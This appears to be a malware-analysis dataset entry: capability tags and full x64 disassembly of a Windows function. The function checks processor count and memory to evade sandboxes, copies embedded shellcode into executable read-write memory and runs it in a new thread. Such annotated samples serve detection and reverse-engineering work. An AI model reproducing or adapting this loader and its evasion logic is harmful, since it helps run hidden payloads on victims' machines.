Function at 0x140001000
Capabilities:
Allocate or change rwx memory
Create thread
Get memory capacity
Get system information on windows
Spawn thread to rwx shellcode
Terminate process

Disassembly:
push rbp
lea rbp, [rsp - 0x1d0]
sub rsp, 0x2d0
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rbp + 0x1c0], rax
lea rcx, [rbp + 0x190]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
cmp dword [rbp + 0x1b0], 2
jb 0x140001351
lea rcx, [rbp + 0x150]
mov dword [rbp + 0x150], 0x40
call qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov rax, qword [rbp + 0x158]
shr rax, 0x14
cmp eax, 0x800
jb 0x140001351
cmp byte [rsp + 0x30], 0
je 0x140001351
movdqa xmm0, xmmword [0x140003370]
xor ecx, ecx
movdqa xmm1, xmmword [0x140003380]
mov edx, 0x1f9
movdqa xmmword [rsp + 0x40], xmm0
mov r8d, 0x3000
movdqa xmm0, xmmword [0x140003400]
movdqa xmmword [rsp + 0x60], xmm0
lea r9d, [rcx + 0x40]
movdqa xmm0, xmmword [str.RAQH]
movdqa xmmword [rsp + 0x50], xmm1
movdqa xmm1, xmmword [0x140003450]
movdqa xmmword [rbp - 0x80], xmm0
movdqa xmm0, xmmword [0x140003300]
movdqa xmmword [rsp + 0x70], xmm1
movdqa xmm1, xmmword [0x1400032e0]
movdqa xmmword [rbp - 0x60], xmm0
movdqa xmm0, xmmword [0x1400032f0]
movdqa xmmword [rbp - 0x70], xmm1
movdqa xmm1, xmmword [0x140003420]
movdqa xmmword [rbp - 0x40], xmm0
movdqa xmm0, xmmword [0x1400033a0]
movdqa xmmword [rbp - 0x50], xmm1
movdqa xmm1, xmmword [0x140003330]
movdqa xmmword [rbp - 0x20], xmm0
movdqa xmm0, xmmword [0x1400032b0]
movdqa xmmword [rbp - 0x30], xmm1
movdqa xmm1, xmmword [0x1400032c0]
movdqa xmmword [rbp], xmm0
movdqa xmm0, xmmword [0x140003390]
movdqa xmmword [rbp - 0x10], xmm1
movdqa xmm1, xmmword [0x140003270]
movdqa xmmword [rbp + 0x20], xmm0
movdqa xmm0, xmmword [0x140003360]
movdqa xmmword [rbp + 0x10], xmm1
movdqa xmm1, xmmword [0x1400033f0]
movdqa xmmword [rbp + 0x40], xmm0
movdqa xmm0, xmmword [0x140003290]
movdqa xmmword [rbp + 0x30], xmm1
movdqa xmm1, xmmword [0x140003410]
movdqa xmmword [rbp + 0x60], xmm0
movdqa xmm0, xmmword [0x1400032a0]
movdqa xmmword [rbp + 0x50], xmm1
movdqa xmm1, xmmword [0x140003440]
movdqa xmmword [rbp + 0x80], xmm0
movdqa xmm0, xmmword [0x140003430]
movdqa xmmword [rbp + 0x70], xmm1
movdqa xmm1, xmmword [0x140003320]
movdqa xmmword [rbp + 0xa0], xmm0
movdqa xmm0, xmmword [0x140003350]
movdqa xmmword [rbp + 0x90], xmm1
movdqa xmm1, xmmword [0x140003340]
movdqa xmmword [rbp + 0xc0], xmm0
movdqa xmm0, xmmword [0x1400032d0]
movdqa xmmword [rbp + 0xb0], xmm1
movdqa xmm1, xmmword [0x140003280]
movdqa xmmword [rbp + 0xe0], xmm0
movdqa xmm0, xmmword [0x1400033b0]
movdqa xmmword [rbp + 0xd0], xmm1
movdqa xmm1, xmmword [0x1400033d0]
movdqa xmmword [rbp + 0x100], xmm0
movdqa xmm0, xmmword [0x1400033c0]
movdqa xmmword [rbp + 0xf0], xmm1
movdqa xmm1, xmmword [0x140003310]
movdqa xmmword [rbp + 0x120], xmm0
movdqa xmmword [rbp + 0x110], xmm1
mov dword [rbp + 0x130], 0x59006a6f
mov dword [rbp + 0x134], 0xffda8941
mov byte [rbp + 0x138], 0xd5
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
lea rcx, [rsp + 0x40]
mov r8d, 3
mov r10, rax
mov rdx, rax
nop
lea rdx, [rdx + 0x80]
movups xmm0, xmmword [rcx]
movups xmm1, xmmword [rcx + 0x10]
lea rcx, [rcx + 0x80]
movups xmmword [rdx - 0x80], xmm0
movups xmm0, xmmword [rcx - 0x60]
movups xmmword [rdx - 0x70], xmm1
movups xmm1, xmmword [rcx - 0x50]
movups xmmword [rdx - 0x60], xmm0
movups xmm0, xmmword [rcx - 0x40]
movups xmmword [rdx - 0x50], xmm1
movups xmm1, xmmword [rcx - 0x30]
movups xmmword [rdx - 0x40], xmm0
movups xmm0, xmmword [rcx - 0x20]
movups xmmword [rdx - 0x30], xmm1
movups xmm1, xmmword [rcx - 0x10]
movups xmmword [rdx - 0x20], xmm0
movups xmmword [rdx - 0x10], xmm1
sub r8, 1
jne 0x140001270
mov rax, qword [rcx + 0x70]
xor r9d, r9d
movups xmm0, xmmword [rcx]
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x10], xmm1
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rdx + 0x20], xmm0
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rdx + 0x30], xmm1
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rdx + 0x40], xmm0
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rdx + 0x50], xmm1
movups xmmword [rdx + 0x60], xmm0
mov qword [rdx + 0x70], rax
movzx eax, byte [rcx + 0x78]
xor ecx, ecx
mov byte [rdx + 0x78], al
lea rax, [rbp + 0x140]
mov qword [rsp + 0x28], rax
xor edx, edx
mov dword [rsp + 0x20], r8d
mov r8, r10
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
xor eax, eax
mov rcx, qword [rbp + 0x1c0]
xor rcx, rsp
call fcn.140001370
add rsp, 0x2d0
pop rbp
ret
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_ExitProcess]